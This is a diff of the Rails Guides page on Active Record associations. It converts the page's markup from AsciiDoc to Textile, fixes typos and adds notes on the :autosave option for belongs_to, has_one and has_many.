-WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".
+WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings).
 
 Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
 
-[source, ruby]
--------------------------------------------------------
+
 class Assembly < ActiveRecord::Base
   has_and_belongs_to_many :parts
 end
@@ -447,12 +429,11 @@ end
 class Part < ActiveRecord::Base
   has_and_belongs_to_many :assemblies
 end
--------------------------------------------------------
+
 
 These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key:
 
-[source, ruby]
--------------------------------------------------------
+
 class CreateAssemblyPartJoinTable < ActiveRecord::Migration
   def self.up
     create_table :assemblies_parts, :id => false do |t|
@@ -465,14 +446,13 @@ class CreateAssemblyPartJoinTable < ActiveRecord::Migration
     drop_table :assemblies_parts
   end
 end
--------------------------------------------------------
+
 
-=== Controlling Association Scope
+h4. Controlling Association Scope
 
 By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
 
-[source, ruby]
--------------------------------------------------------
+
 module MyApplication
   module Business
     class Supplier < ActiveRecord::Base
@@ -484,12 +464,11 @@ module MyApplication
     end
   end
 end
--------------------------------------------------------
+
 
-This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But this will not work, because +Supplier+ and +Account+ are defined in different scopes:
+This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But the following will _not_ work, because +Supplier+ and +Account+ are defined in different scopes:
 
-[source, ruby]
--------------------------------------------------------
+
 module MyApplication
   module Business
     class Supplier < ActiveRecord::Base
@@ -503,128 +482,124 @@ module MyApplication
     end
   end
 end
--------------------------------------------------------
+
 
 To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:
 
-[source, ruby]
--------------------------------------------------------
+
 module MyApplication
   module Business
     class Supplier < ActiveRecord::Base
-       has_one :account, :class_name => "MyApplication::Billing::Account"
+       has_one :account,
+        :class_name => "MyApplication::Billing::Account"
     end
   end
 
   module Billing
     class Account < ActiveRecord::Base
-       belongs_to :supplier, :class_name => "MyApplication::Business::Supplier"
+       belongs_to :supplier,
+        :class_name => "MyApplication::Business::Supplier"
     end
   end
 end
--------------------------------------------------------
+
 
-== Detailed Association Reference
+h3. Detailed Association Reference
 
 The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
 
-=== The +belongs_to+ Association
+h4. belongs_to Association Reference
 
 The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead.
 
-==== Methods Added by +belongs_to+
+h5. Methods Added by belongs_to
 
-When you declare a +belongs_to+ assocation, the declaring class automatically gains five methods related to the association:
+When you declare a +belongs_to+ association, the declaring class automatically gains five methods related to the association:
 
-* +_association_(force_reload = false)+
-* +_association_=(associate)+
-* +_association_.nil?+
-* +build___association__(attributes = {})+
-* +create___association__(attributes = {})+
+* association(force_reload = false)
+* association=(associate)
+* association.nil?
+* build_association(attributes = {})
+* create_association(attributes = {})
 
-In all of these methods, +_association_+ is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
+In all of these methods, association is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
 
-[source, ruby]
--------------------------------------------------------
+
 class Order < ActiveRecord::Base
   belongs_to :customer
 end
--------------------------------------------------------
+
 
 Each instance of the order model will have these methods:
 
-[source, ruby]
--------------------------------------------------------
+
 customer
 customer=
 customer.nil?
 build_customer
 create_customer
--------------------------------------------------------
+
 
-===== +_association_(force_reload = false)+
+h6. _association_(force_reload = false)
 
-The +_association_+ method returns the associated object, if any. If no associated object is found, it returns +nil+.
+The association method returns the associated object, if any. If no associated object is found, it returns +nil+.
 
-[source, ruby]
--------------------------------------------------------
+
 @customer = @order.customer
--------------------------------------------------------
+
 
 If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
 
-===== +_association_=(associate)+
+h6. _association_=(associate)
 
-The +_association_=+ method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
+The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
 
-[source, ruby]
--------------------------------------------------------
+
 @order.customer = @customer
--------------------------------------------------------
+
 
-===== +_association_.nil?+
+h6. _association_.nil?
 
-The +_association_.nil?+ method returns +true+ if there is no associated object.
+The association.nil? method returns +true+ if there is no associated object.
 
-[source, ruby]
--------------------------------------------------------
+
 if @order.customer.nil?
   @msg = "No customer found for this order"
 end
--------------------------------------------------------
+
 
-===== +build___association__(attributes = {})+
+h6. build_association(attributes = {})
 
-The +build__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
+The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
 
-[source, ruby]
--------------------------------------------------------
-@customer = @order.build_customer({:customer_number => 123, :customer_name => "John Doe"})
--------------------------------------------------------
+
+@customer = @order.build_customer({:customer_number => 123,
+  :customer_name => "John Doe"})
+
 
-===== +create___association__(attributes = {})+
+h6. create_association(attributes = {})
 
-The +create__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
+The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
 
-[source, ruby]
--------------------------------------------------------
-@customer = @order.create_customer({:customer_number => 123, :customer_name => "John Doe"})
--------------------------------------------------------
+
+@customer = @order.create_customer({:customer_number => 123,
+  :customer_name => "John Doe"})
+
 
-==== Options for +belongs_to+
+h5. Options for belongs_to
 
 In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this:
 
-[source, ruby]
--------------------------------------------------------
+
 class Order < ActiveRecord::Base
-  belongs_to :customer, :counter_cache => true, :conditions => "active = 1"
+  belongs_to :customer, :counter_cache => true,
+    :conditions => "active = 1"
 end
--------------------------------------------------------
+
 
 The +belongs_to+ association supports these options:
 
-// * +:accessible+
+* +:autosave+
 * +:class_name+
 * +:conditions+
 * +:counter_cache+
@@ -636,249 +611,238 @@ The +belongs_to+ association supports these options:
 * +:select+
 * +:validate+
 
-// ===== +:accessible+
-//
-// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
-//
-===== +:class_name+
+h6. :autosave
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6. :class_name
 
 If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way:
 
-[source, ruby]
--------------------------------------------------------
+
 class Order < ActiveRecord::Base
   belongs_to :customer, :class_name => "Patron"
 end
--------------------------------------------------------
+
 
-===== +:conditions+
+h6. :conditions
 
 The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
 
-[source, ruby]
--------------------------------------------------------
+
 class Order < ActiveRecord::Base
   belongs_to :customer, :conditions => "active = 1"
 end
--------------------------------------------------------
+
 
-===== +:counter_cache+
+h6. :counter_cache
 
 The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models:
 
-[source, ruby]
--------------------------------------------------------
+
 class Order < ActiveRecord::Base
   belongs_to :customer
 end
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+
 
 With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model:
 
-[source, ruby]
--------------------------------------------------------
+
 class Order < ActiveRecord::Base
   belongs_to :customer, :counter_cache => true
 end
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+
 
-With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +.size+ method. 
+With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +.size+ method.
 
 Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to:
 
-[source, ruby]
--------------------------------------------------------
+
 class Order < ActiveRecord::Base
   belongs_to :customer, :counter_cache => :count_of_orders
 end
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+
 
 Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+.
 
-===== +:dependent+
+h6. :dependent
 
 If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
 
 WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database.
 
-===== +:foreign_key+
+h6. :foreign_key
 
 By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
 
-[source, ruby]
--------------------------------------------------------
+
 class Order < ActiveRecord::Base
-  belongs_to :customer, :class_name => "Patron", :foreign_key => "patron_id"
+  belongs_to :customer, :class_name => "Patron",
+    :foreign_key => "patron_id"
 end
--------------------------------------------------------
+
 
 TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
 
-===== +:include+
+h6. :include
 
-You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
 
-[source, ruby]
--------------------------------------------------------
+
 class LineItem < ActiveRecord::Base
   belongs_to :order
 end
+
 class Order < ActiveRecord::Base
   belongs_to :customer
   has_many :line_items
 end
+
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+
 
 If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
 
-[source, ruby]
--------------------------------------------------------
+
 class LineItem < ActiveRecord::Base
   belongs_to :order, :include => :customer
 end
+
 class Order < ActiveRecord::Base
   belongs_to :customer
   has_many :line_items
 end
+
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+
 
 NOTE: There's no need to use +:include+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed.
 
-===== +:polymorphic+
+h6. :polymorphic
 
-Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.
+Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.
 
-===== +:readonly+
+h6. :readonly
 
 If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
 
-===== +:select+
+h6. :select
 
 The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
 
 TIP: If you set the +:select+ option on a +belongs_to+ association, you should also set the +foreign_key+ option to guarantee the correct results.
 
-===== +:validate+
+h6. :validate
 
 If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
 
-==== When are Objects Saved?
+h5. When are Objects Saved?
 
 Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either.
 
-=== The has_one Association
+h4. has_one Association Reference
 
 The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead.
 
-==== Methods Added by +has_one+
+h5. Methods Added by has_one
 
 When you declare a +has_one+ association, the declaring class automatically gains five methods related to the association:
 
-* +_association_(force_reload = false)+
-* +_association_=(associate)+
-* +_association_.nil?+
-* +build___association__(attributes = {})+
-* +create___association__(attributes = {})+
+* association(force_reload = false)
+* association=(associate)
+* association.nil?
+* build_association(attributes = {})
+* create_association(attributes = {})
 
-In all of these methods, +_association_+ is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
+In all of these methods, association is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
 
-[source, ruby]
--------------------------------------------------------
+
 class Supplier < ActiveRecord::Base
   has_one :account
 end
--------------------------------------------------------
+
 
 Each instance of the +Supplier+ model will have these methods:
 
-[source, ruby]
--------------------------------------------------------
+
 account
 account=
 account.nil?
 build_account
 create_account
--------------------------------------------------------
+
 
-===== +_association_(force_reload = false)+
+h6. association(force_reload = false)
 
-The +_association_+ method returns the associated object, if any. If no associated object is found, it returns +nil+.
+The association method returns the associated object, if any. If no associated object is found, it returns +nil+.
 
-[source, ruby]
--------------------------------------------------------
+
 @account = @supplier.account
--------------------------------------------------------
+
 
 If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
 
-===== +_association_=(associate)+
+h6. association=(associate)
 
-The +_association_=+ method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
+The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
 
-[source, ruby]
--------------------------------------------------------
-@suppler.account = @account
--------------------------------------------------------
+
+@supplier.account = @account
+
 
-===== +_association_.nil?+
+h6. association.nil?
 
-The +_association_.nil?+ method returns +true+ if there is no associated object.
+The association.nil? method returns +true+ if there is no associated object.
 
-[source, ruby]
--------------------------------------------------------
+
 if @supplier.account.nil?
   @msg = "No account found for this supplier"
 end
--------------------------------------------------------
+
 
-===== +build___association__(attributes = {})+
+h6. build_association(attributes = {})
 
-The +build__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
+The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
 
-[source, ruby]
--------------------------------------------------------
+
 @account = @supplier.build_account({:terms => "Net 30"})
--------------------------------------------------------
+
 
-===== +create___association__(attributes = {})+
+h6. create_association(attributes = {})
 
-The +create__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
+The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
 
-[source, ruby]
--------------------------------------------------------
+
 @account = @supplier.create_account({:terms => "Net 30"})
--------------------------------------------------------
+
 
-==== Options for +has_one+
+h5. Options for has_one
 
 In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this:
 
-[source, ruby]
--------------------------------------------------------
+
 class Supplier < ActiveRecord::Base
   has_one :account, :class_name => "Billing", :dependent => :nullify
 end
--------------------------------------------------------
+
 
 The +has_one+ association supports these options:
 
-// * +:accessible+
 * +:as+
+* +:autosave+
 * +:class_name+
 * +:conditions+
 * +:dependent+
@@ -893,120 +857,119 @@ The +has_one+ association supports these options:
 * +:through+
 * +:validate+
 
-// ===== +:accessible+
-//
-// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
-//
-===== +:as+
+h6. :as
 
-Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.
+Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.
 
-===== +:class_name+
+h6. :autosave
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6. :class_name
 
 If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:
 
-[source, ruby]
--------------------------------------------------------
+
 class Supplier < ActiveRecord::Base
   has_one :account, :class_name => "Billing"
 end
--------------------------------------------------------
+
 
-===== +:conditions+
+h6. :conditions
 
 The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
 
-[source, ruby]
--------------------------------------------------------
+
 class Supplier < ActiveRecord::Base
   has_one :account, :conditions => "confirmed = 1"
 end
--------------------------------------------------------
+
 
-===== +:dependent+
+h6. :dependent
 
 If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the association object to +NULL+.
 
-===== +:foreign_key+
+h6. :foreign_key
 
 By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
 
-[source, ruby]
--------------------------------------------------------
+
 class Supplier < ActiveRecord::Base
   has_one :account, :foreign_key => "supp_id"
 end
--------------------------------------------------------
+
 
 TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
 
-===== +:include+
+h6. :include
 
-You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
 
-[source, ruby]
--------------------------------------------------------
+
 class Supplier < ActiveRecord::Base
   has_one :account
 end
+
 class Account < ActiveRecord::Base
   belongs_to :supplier
   belongs_to :representative
 end
+
 class Representative < ActiveRecord::Base
   has_many :accounts
 end
--------------------------------------------------------
+
 
 If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
 
-[source, ruby]
--------------------------------------------------------
+
 class Supplier < ActiveRecord::Base
   has_one :account, :include => :representative
 end
+
 class Account < ActiveRecord::Base
   belongs_to :supplier
   belongs_to :representative
 end
+
 class Representative < ActiveRecord::Base
   has_many :accounts
 end
--------------------------------------------------------
+
 
-===== +:order+
+h6. :order
 
 The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause). Because a +has_one+ association will only retrieve a single associated object, this option should not be needed.
 
-===== +:primary_key+
+h6. :primary_key
 
 By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
 
-===== +:readonly+
+h6. :readonly
 
 If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
 
-===== +:select+
+h6. :select
 
 The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
 
-===== +:source+
+h6. :source
 
 The +:source+ option specifies the source association name for a +has_one :through+ association.
 
-===== +:source_type+
+h6. :source_type
 
 The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
 
-===== +:through+
+h6. :through
 
-The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations are discussed in detail later in this guide.
+The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail earlier in this guide.
 
-===== +:validate+
+h6. :validate
 
 If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
 
-==== When are Objects Saved?
+h5. When are Objects Saved?
 
 When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
 
@@ -1014,43 +977,41 @@ If either of these saves fails due to validation errors, then the assignment sta
 
 If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved.
 
-If you want to assign an object to a +has_one+ association without saving the object, use the +association.build+ method.
+If you want to assign an object to a +has_one+ association without saving the object, use the association.build method.
 
-=== The has_many Association
+h4. has_many Association Reference
 
 The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
 
-==== Methods Added
+h5. Methods Added
 
 When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association:
 
-* +_collection_(force_reload = false)+
-* +_collection_<<(object, ...)+
-* +_collection_.delete(object, ...)+
-* +_collection_=objects+
-* +_collection\_singular_\_ids+
-* +_collection\_singular_\_ids=ids+
-* +_collection_.clear+
-* +_collection_.empty?+
-* +_collection_.size+
-* +_collection_.find(...)+
-* +_collection_.exist?(...)+
-* +_collection_.build(attributes = {}, ...)+
-* +_collection_.create(attributes = {})+
+* collection(force_reload = false)
+* collection<<(object, ...)
+* collection.delete(object, ...)
+* collection=objects
+* collection_singular_ids
+* collection_singular_ids=ids
+* collection.clear
+* collection.empty?
+* collection.size
+* collection.find(...)
+* collection.exist?(...)
+* collection.build(attributes = {}, ...)
+* collection.create(attributes = {})
 
-In all of these methods, +_collection_+ is replaced with the symbol passed as the first argument to +has_many+, and +_collection\_singular_+ is replaced with the singularized version of that symbol.. For example, given the declaration:
+In all of these methods, collection is replaced with the symbol passed as the first argument to +has_many+, and collection_singular is replaced with the singularized version of that symbol.. For example, given the declaration:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+
 
 Each instance of the customer model will have these methods:
 
-[source, ruby]
--------------------------------------------------------
+
 orders(force_reload = false)
 orders<<(object, ...)
 orders.delete(object, ...)
@@ -1064,125 +1025,117 @@ orders.find(...)
 orders.exist?(...)
 orders.build(attributes = {}, ...)
 orders.create(attributes = {})
--------------------------------------------------------
+
 
-===== +_collection_(force_reload = false)+
+h6. collection(force_reload = false)
 
-The +_collection_+ method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+The collection method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
 
-[source, ruby]
--------------------------------------------------------
+
 @orders = @customer.orders
--------------------------------------------------------
+
 
-===== +_collection_<<(object, ...)+
+h6. collection<<(object, ...)
 
-The +_collection_<<+ method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+The collection<< method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
 
-[source, ruby]
--------------------------------------------------------
+
 @customer.orders << @order1
--------------------------------------------------------
+
 
-===== +_collection_.delete(object, ...)+
+h6. collection.delete(object, ...)
 
-The +_collection_.delete+ method removes one or more objects from the collection by setting their foreign keys to +NULL+.
+The collection.delete method removes one or more objects from the collection by setting their foreign keys to +NULL+.
 
-[source, ruby]
--------------------------------------------------------
+
 @customer.orders.delete(@order1)
--------------------------------------------------------
+
 
 WARNING: Objects will be in addition destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+.
 
 
-===== +_collection_=objects+
+h6. collection=objects
 
-The +_collection_=+ method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
 
-===== +_collection\_singular_\_ids+
+h6. collection_singular_ids
 
-The +_collection\_singular_\_ids+ method returns an array of the ids of the objects in the collection.
+The collection_singular_ids method returns an array of the ids of the objects in the collection.
 
-[source, ruby]
--------------------------------------------------------
+
 @order_ids = @customer.order_ids
--------------------------------------------------------
+
 
-===== +__collection\_singular_\_ids=ids+
+h6. collection_singular_ids=ids
 
-The +__collection\_singular_\_ids=+ method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+The collection_singular_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
 
-===== +_collection_.clear+
+h6. collection.clear
 
-The +_collection_.clear+ method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
+The collection.clear method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
 
-===== +_collection_.empty?+
+h6. collection.empty?
 
-The +_collection_.empty?+ method returns +true+ if the collection does not contain any associated objects.
+The collection.empty? method returns +true+ if the collection does not contain any associated objects.
 
-[source, ruby]
--------------------------------------------------------
+
 <% if @customer.orders.empty? %>
   No Orders Found
 <% end %>
--------------------------------------------------------
+
 
-===== +_collection_.size+
+h6. collection.size
 
-The +_collection_.size+ method returns the number of objects in the collection.
+The collection.size method returns the number of objects in the collection.
 
-[source, ruby]
--------------------------------------------------------
+
 @order_count = @customer.orders.size
--------------------------------------------------------
+
 
-===== +_collection_.find(...)+
+h6. collection.find(...)
 
-The +_collection_.find+ method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
+The collection.find method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
 
-[source, ruby]
--------------------------------------------------------
+
 @open_orders = @customer.orders.find(:all, :conditions => "open = 1")
--------------------------------------------------------
+
 
-===== +_collection_.exist?(...)+
+h6. collection.exist?(...)
 
-The +_collection_.exist?+ method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
+The collection.exist? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
 
-===== +_collection_.build(attributes = {}, ...)+
+h6. collection.build(attributes = {}, ...)
 
-The +_collection_.build+ method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
+The collection.build method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
 
-[source, ruby]
--------------------------------------------------------
-@order = @customer.orders.build({:order_date => Time.now, :order_number => "A12345"})
--------------------------------------------------------
+
+@order = @customer.orders.build({:order_date => Time.now,
+  :order_number => "A12345"})
+
 
-===== +_collection_.create(attributes = {})+
+h6. collection.create(attributes = {})
 
-The +_collection_.create+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations).
+The collection.create method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations).
 
-[source, ruby]
--------------------------------------------------------
-@order = @customer.orders.create({:order_date => Time.now, :order_number => "A12345"})
--------------------------------------------------------
+
+@order = @customer.orders.create({:order_date => Time.now,
+  :order_number => "A12345"})
+
 
-==== Options for has_many
+h5. Options for has_many
 
 In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
   has_many :orders, :dependent => :delete_all, :validate => :false
 end
--------------------------------------------------------
+
 
 The +has_many+ association supports these options:
 
-// * +:accessible+
 * +:as+
+* +:autosave+
 * +:class_name+
 * +:conditions+
 * +:counter_sql+
@@ -1204,186 +1157,184 @@ The +has_many+ association supports these options:
 * +:uniq+
 * +:validate+
 
-// ===== +:accessible+
-//
-// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
-//
-===== +:as+
+h6. :as
 
-Setting the +:as+ option indicates that this is a polymorphic association, as discussed earlier in this guide.
+Setting the +:as+ option indicates that this is a polymorphic association, as discussed earlier in this guide.
 
-===== +:class_name+
+h6. :autosave
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6. :class_name
 
 If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
   has_many :orders, :class_name => "Transaction"
 end
--------------------------------------------------------
+
 
-===== +:conditions+
+h6. :conditions
 
 The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
-  has_many :confirmed_orders, :class_name => "Order", :conditions => "confirmed = 1"
+  has_many :confirmed_orders, :class_name => "Order",
+    :conditions => "confirmed = 1"
 end
--------------------------------------------------------
+
 
 You can also set conditions via a hash:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
-  has_many :confirmed_orders, :class_name => "Order", :conditions => { :confirmed => true }
+  has_many :confirmed_orders, :class_name => "Order",
+    :conditions => { :confirmed => true }
 end
--------------------------------------------------------
+
 
 If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
 
-===== +:counter_sql+
+h6. :counter_sql
 
-Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. 
+Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
 
